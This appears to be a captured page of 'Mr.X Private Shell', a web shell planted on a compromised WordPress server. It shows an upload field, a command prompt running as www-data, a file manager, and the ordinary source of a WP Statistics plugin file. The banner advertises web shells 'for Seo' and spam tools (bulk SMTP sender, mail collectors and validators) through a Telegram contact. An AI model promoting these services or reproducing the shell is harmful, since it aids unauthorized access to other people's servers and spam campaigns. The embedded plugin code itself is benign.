__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

namespace WP_Statistics\Service\Integrations;

use WP_STATISTICS\Option;

class IntegrationsManager
{
    /**
     * IntegrationsManager constructor.
     */
    public function __construct()
    {
        add_action('init', [$this, 'registerIntegrations']);
        add_action('update_option_active_plugins', [$this, 'unsetIntegrationUponDeactivation'], 10, 2);
    }

    /**
     * Registers all integrations.
     * @return  void
     */
    public function registerIntegrations()
    {
        $integrations = IntegrationHelper::getAllIntegrations();

        foreach ($integrations as $integration) {
            if (!$integration->isActive()) continue;

            $integration->register();
        }
    }

    /**
     * When integration is deactivated, reset the integration option.
     */
    public function unsetIntegrationUponDeactivation($oldPlugins, $newPlugins)
    {
        $activeIntegration = Option::get('consent_integration');
        $activeIntegration = IntegrationHelper::getIntegration($activeIntegration);

        if (!$activeIntegration) return;

        $plugin              = $activeIntegration->getPath();
        $isPluginDeactivated = in_array($plugin, $oldPlugins) && !in_array($plugin, $newPlugins);

        if ($isPluginDeactivated) {
            Option::update('consent_integration', '');
        }
    }
}

Filemanager

Name Type Size Permission Actions
Plugins Folder 0755
IntegrationHelper.php File 4.99 KB 0644
IntegrationsManager.php File 1.32 KB 0644
Filemanager